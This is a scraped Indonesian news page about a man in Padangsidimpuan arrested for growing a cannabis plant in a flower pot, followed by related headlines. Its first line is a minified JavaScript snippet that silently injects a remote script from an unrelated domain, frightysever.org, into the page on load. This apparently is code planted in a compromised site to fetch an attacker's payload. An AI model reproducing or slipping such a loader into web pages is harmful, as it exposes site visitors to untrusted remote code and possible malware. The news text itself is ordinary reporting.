(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Seorang pria bertatot ditangkap polisi karena menanam ganja di pot bunga rumahnya. Pria itu berinisial MS (43) warga Kecamatan Padangsidimpuan Tenggara, Kota Padangsidimpuan, Sumatera Utara.
Kasat Narkoba AKP Sammailun Pulungan mengatakan, awalnya petugas mendapat laporan adanya warga yang menanam ganja di belakang rumahnya.
Petugas kemudian melakukan penyelidikan dan penggerebekan di rumah yang dimaksud pada Senin 8 November 2021.
“Petugas menemukan satu batang pohon ganja yang ditanam dalam pot dan disembunyikan dibelakang rumahnya,” katanya melansir digtara.com–jaringan suara.com, Selasa (9/11/2021).
Baca juga:Â Benarkah Jalan Tol di Indonesia Tidak Aman? Berikut Faktanya
MS dipersangkakan dengan Pasal 114 ayat (1) dan Pasal 112 ayat (1) atau Pasal 111 ayat (1) Undang Undang No 35 tahun 2009 tentang narkotika.
“Ancaman hukuman maksimal 12 tahun penjara,” tukasnya. (Suara.com)
Editor: suara
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.